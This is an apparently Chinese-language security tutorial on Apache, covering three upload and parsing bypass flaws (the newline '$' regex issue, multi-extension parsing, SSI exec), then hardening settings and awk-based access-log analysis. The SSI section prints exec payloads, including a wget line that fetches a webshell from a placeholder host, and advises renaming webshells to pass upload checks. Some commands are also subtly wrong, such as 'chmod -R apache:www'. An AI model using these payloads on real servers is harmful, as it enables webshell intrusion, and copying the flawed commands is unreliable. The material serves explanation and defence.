Apache可以运行在几乎所有广泛使用的计算机平台上,由于其跨平台和安全性被广泛使用,是最流行的Web服务器端软件之一。它快速、可靠并且可通过简单的API扩充,将Perl/Python等解释器编译到服务器中。
bin-----存放常用的命令工具,例如httpd
cgi-bin-----存放Linux下常用的命令。例如xxx.sh
conf-----Linux的配置相关文件,例如httpd.conf
error-----错误记录
htdocs-----放网站源码
icons-----网站图标
logs-----日志
manal-----手册
modules-----扩展模块
影响版本: Apache 2.4.0~2.4.29
影响说明: 绕过服务器策略,上传webshell
环境说明: PHP5.5、Apache2.4.10
漏洞原理:
在httpd2.4.0~2.4.29版本中有如下配置
<FilesMatch \.php$>
SetHandler application/x-httpd-php
</FilesMatch>
这是httpd解析php文件的表达式,关键在于表达式结尾的$字符,这个字符在正则表达式中用于匹配字符串结尾的位置,同时也会匹配换行符号。
若是黑名单匹配,我们上传是就可以成功,并且在解析是会匹配换行符,访问时在php后面加上%0a就能正常访问。
但是在使用中大部分情况下是$_FILES[‘file’][‘name’]
作为文件名,这样会自动过滤换行符
且在windows上面%0a无法作为后缀
总结:
1. 在非windows环境
2. 非$_FILES[‘file’][‘name’]作为文件名
3. 黑名单
满足上述条件可以利用成功
影响版本:
使用module模式与php结合的所有版本 apache存在未知扩展名解析漏洞,使用fastcig模式与php结合的所有版本apache不存在此漏洞。
影响说明: 绕过服务器策略,上传webshell
环境说明: PHP7、任意版本的使用module模式与PHP结合的apache
Apache中配置php支持module模式、cig模式、fastcgi模式 https://www.cnblogs.com/zlingh/p/3959352.html
为什么module模式下会造成该漏洞呢?因为以下配置代码…
AddHandler application/x-httpd-php .php
或者
<FilesMatch ".+\ph(ar|p|tml)">
SetHandler application/x-httpd-php
</FilesMatch>
“.+\ph(ar|p|tml)”
只要以.php、.phar、.ptml结尾的都当做php执行
将webshell后缀名改为xxx.php.xxx上传即可,如果程序验证必须要图片文件,可以修改为xxx.php.jpg等等
影响版本: Apache全版本(支持SSI与CGI)
影响说明: 绕过服务器策略,上传webshell
环境说明: PHP7.1、Apache2.4.25
SSI(server-side includes): 是放置在HTML页面中的指令,它可以将动态生成的内容添加到现有的HTML页面,而不必通过CGI程序或其他动态技术来提供整个页面。以上是定义采用在Apache官网对SSI的定义,说白了就是可以在HTML中加入特定的指令,也可以引入其他的页面。开启SSI需要单独配置Apache,可以参考SSI配置。SSI可以完成查看时间、文件修改时间、CGI程序执行结果、执行系统命令、连接数据库等操作,功能非常强大。
文件名保存为test.shtml,这个后缀取决于Apache的配置,默认是此后缀。当后台对扩展名校验不严格是。可以上传此类文件,达到执行命令,获取webshell的目的。
# 上传成功后,访问该文件
文件内容就自己写吧,下面参考
<!--#exec cmd="wget http://xxx/shell.txt | rename shell.txt shell.php"-->
<!--#exec cmd="echo '<?php phpinfo();?>' > shell.php"-->
<!--#exec cmd="写下要执行的命令"-->
Apache的不同版本和安装方式,配置文件名称不同,有的为apache2.conf,有的为httpd.conf,可以根据版本确认。在Apache的配置文件中可能包含多个配置文件,若找不到某个配置,可以通过命令搜索:
grep -r "Server Tokens" /etc/apache2
1.内网端口设置
2.运行权限设置(用户和组必须存在)
Options:设置目录特性
ALL:所有特性有效(缺省状态)
NONE:所有目录特性无效
FollowSymLinks:允许浏览器访问文档根目录外的文档
ExecCGI:允许目录下执行CGI程序
Indexes:允许浏览器在没有index.html时显示目录
AllowOverride:设置配置文件覆盖
None:.htaccess文件完全忽略
ALL:使用.htaccess文件内的指令覆盖规则
Require:目录访问权限(2.4版本)
require all denied:拒绝所有
require all grated:允许所有
require host xxx 允许某个IP/HOST
2.2版本的目录访问权限使用Order,Allow,Deny
全部禁止:Order Allow,Deny
Deny from ALL
全部允许:Order Deny,Allow
Allow from ALL
.htaccess 负责目录下的网页配置,如改变扩展名,404
Require all granted # 允许所有
Require all denied #拒绝所有
Require env env-var [env-var] ... # 当设置了某个环境变量允许访问
Require method http-method [http-method] ... # 允许特定的HTTP方法(GET/POST/HEAD/OPTIONS)
Require expr expression # 表达式为true时允许
Require user userid [userid] ... # 允许特定用户
Require group group-name [group-name] ... # 允许特定用户组
Require valid-user # 所有有效用户都允许
Require ip 192.100 192.168.100 192.168.100.5 3 允许特定IP或IP段,多个IP或IP段间使用空格分隔
Apache2.2以下:
Allow和Deny可以用于apache的conf文件或者.htaccess文件中(配合Directory,Location,Files等),用来控制目录和文件的访问控制授权。
Order deny,allow Order allow,deny
allow from all deny from 219.204.253.8
deny from 219.204.253.8 allow from all
# 全部都可以通行 # 只有219.204.253.8不能通行
----------------------------------- -------------------------------
Order deny,allow Order allow,deny
deny from 219.204.253.8 allow from all
allow from all deny from 219.204.253.8
# 全部都可以通行 # 只有219.204.253.8不能通行
在Apache2.4中,编辑apache2.conf
1.将日志中debined的值,修改为
LogFormat "%h %{X-FORWARDED-FOR}i %l %u %t \"%r\" %>s %b \"%{Referer}i\" \"%{User-Agent}i\"" combined
2.添加:ErrorLogFormat "[%t] [%I] [pid %P] %F: %E: [client %a] %M"
3.将LogLevel修改为notice
备注:combined可能在其他配置文件中引用,可以使用grep -rf “combined” /etc/apache2 进行搜索
LogLevel:控制登录到error_log的消息的数量。可能的值包括:7-调试(DEBUG)、6-信息(INFO)、5-通知(NOTICE)、4-警告(WARNINBNG)、3-错误(ERR)、2-临界失败(CRIT)、1.-警戒[必须 处理] (ALERT)、0-致命(EMERG).
ServerTokens Prod
ServerSignature off
找不到:grep -rf “” /etc/apache2/
ServerTokens Prod 显示"Server: Apache"
ServerTokens Major 显示"Server: Apache/2"
ServerTokens Minor 显示"Server: Apache/2.2"
ServerTokens Min 显示"Server: Apache/2.2.17"
ServerTokens OS 显示"Server: Apache/2.2.17 (Unix)"
ServerTokens Full 显示"Server: Apache/2.2.17 (Unix) PHP/5.3.5"
(如果你这指定任何的值,这个是默认的返回信息)
删除Indexes,Indexes的含义是当该目录下没有index.html时,显示目录结构
假设网站的目录和文件的所有者和所有组为apache、www
命令:chmod -R apache:www /home/apache/web
设置网站目录权限为750,apache对目录拥有读写执行的权限,www用户组有读执行权限,其它用户没有任何权限
find-type d -exec chmod 750 {} \
设置网站文件权限为640.apache用户对网站文件有读写的权限,www用户组有读取文件的权限,其它用户无任何权限
find -not -type d -exec chmod 640 {} \
如果其他目录需要特定的权限,针对性赋予即可
LimitRequestBody 102400
102400Bytes = 100KB
限制从客户端发送的HTTP请求正文的总大小
1.删除缺省HTML文件
rm -rf /usr/local/apache2/htdocs/*
2.删除缺省的CGI脚本
rm -rf /usr/local/apache2/cgi-bin/*
3.删除Apache说明文件
rm -rf /usr/local/apache2/manual
4.删除源代码文件
rm -rf /path/to/httod-2.2.4*
# DDOS防御:
Timeout 10
KeepAlive On
keepAliveTimeout 15
AcceptFilter https data
AcceptFilter http data
# 限制消息长度
LimitRequestBody 102400
102400Bytes = 100 KB
# 关闭Trace功能
TraceEnable OFF
# 自定义错误页面,防止敏感信息泄露:
ErrorDocument 400 /custom400.html
ErrorDocument 401 /custom401.html
ErrorDocument 403 /custom403.html
ErrorDocument 404 /custom404.html
ErrorDocument 405 /custom405.html
ErrorDocument 500 /custom500.html
编辑 httpd.conf 配置文件,把 cgi-bin目录的配置和模块注释掉:
# LoadModule cgi_module modules/mod_cgi.so
# ScriptAlias /cgi-bin/ "/var/www/cgi-bin"
#<Directory "/var/www/cgi-bin">
#AllowOverride None #Options None
#Order allow,deny # Allow from all
#</Directory>
日志格式定义: apache2.conf/httpd.conf
LogFormat "%h %l %u %t \"%r\" %>s %0 \"%{Referer}i\" \"%{User-Agent}i\"" combined
日志格式引用: apache.conf/httpd.conf/ 其他配置文件
./sites-available/000-default.conf:21: CustomLog ${APACHE_LOG_DIR}/access.log combined
access.log
%h 远程主机
%I 远端用户名
%u 远程用户名
%t 时间
%r 请求第一行
%>s 状态
%b 传送字节
分析访问量前5的IP: cat access.log | awk '{print $1}' |sort|uniq -c |sort -nr |head -5
分析访问量前5的页面: cat access.log | awk '{print $7}'|sort | uniq -c|sort -nr|head -5
统计日志文件所有流量: cat access.log | awk '{sum+=$10} END {print sum/1024/1024/1024 "G"}'
在Apache日志中%T记录请求处理完花费的时间,单位是秒,%D记录的是微秒
统计请求处理划分时间最长的10个请求:
cat access_time.log | awk '{print " " $NF " " $1 " " $7}' |sort -nr|head -10
统计404页面次数:cat access_time.log | awk '($9~/404/){print $9 " " $7}'|3sort|uniq -c|head -10
cat access_time.log | awk '{print $9}' |sort|uniq -c|sort -rn
配置参考: https://blog.csdn.net/u012291157/article/details/46492137
用户名 | 金币 | 积分 | 时间 | 理由 |
---|---|---|---|---|
Track-聂风 | 35.00 | 0 | 2021-04-24 12:12:13 | 限时活动 |
Track-聂风 | 80.00 | 0 | 2021-04-24 12:12:04 | 加油~ |
打赏我,让我更有动力~
© 2016 - 2024 掌控者 All Rights Reserved.